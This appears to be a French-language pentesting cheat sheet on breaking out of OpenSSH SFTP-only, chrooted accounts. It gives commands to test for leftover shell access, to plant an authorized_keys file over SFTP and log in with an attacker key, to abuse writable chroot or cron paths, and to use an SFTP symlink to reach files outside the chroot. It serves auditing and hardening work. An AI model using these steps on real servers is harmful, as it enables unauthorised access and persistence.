Les comptes destinés uniquement au transfert de fichiers sont confinés de deux manières dans OpenSSH : ForceCommand internal-sftp (ou le sous-système sftp) les limite au protocole SFTP sans shell, et ChrootDirectory verrouille leur vue du système de fichiers à un sous-arbre. L'objectif d'une évasion est de transformer cet accès limité au transfert en exécution de commandes sur l'hôte. Les voies exploitent ce que le confinement ne couvre pas : les emplacements accessibles en écriture à l'intérieur du chroot sur lesquels un processus extérieur agit, les opérations SFTP qui dépassent la zone prévue, et les mauvaises configurations de chroot.
Voies#
# 1. the account also has shell access despite SFTP intent? test it:
ssh user@<target> id # if a shell returns, there is nothing to escape
# 2. write a key/cron/script the HOST executes with a real shell, via SFTP write:
# - if your chroot home maps to a real user home, upload .ssh/authorized_keys then SSH
sftp user@<target> <<'E'
put authorized_keys .ssh/authorized_keys
E
ssh -i attacker_key user@<target> # now a full session if the key is honoured
# 3. chroot misconfiguration: ChrootDirectory must be root-owned and not writable by
# the user; if the chroot root (or a parent) is user-writable, it can be abused,
# and writable system paths inside the chroot (cron.d, scripts run by root) execute
# 4. SFTP symlink/hardlink tricks to reference files outside the intended subtree
sftp> symlink / escape # then browse "escape" if the server resolves it host-side
Notes d'exploitation#
- Confirmez d'abord que le confinement est réel : beaucoup de comptes « limités à SFTP » accordent en réalité encore un shell (
ssh user@host id), auquel cas il n'y a aucune évasion à réaliser. - L'évasion la plus fiable est indirecte : utilisez l'écriture SFTP pour déposer quelque chose que l'hôte exécute avec un vrai shell, un
authorized_keys(si le home du chroot est le home réel), un fichier dans un chemincron.d/script accessible en écriture, ou un fichier web si le chroot chevauche une racine web. - Un
ChrootDirectorycorrectement configuré appartient à root et n'est pas accessible en écriture par l'utilisateur sur tout le chemin ; les violations de cela (chroot ou parent accessible en écriture par l'utilisateur) constituent une faiblesse directe. - Lorsque le compte correspond à un utilisateur système dont vous pouvez écrire dans le home ou les tâches planifiées, l'accès de transfert se convertit en exécution en tant que cet utilisateur ; enchaînez avec la technique des clés.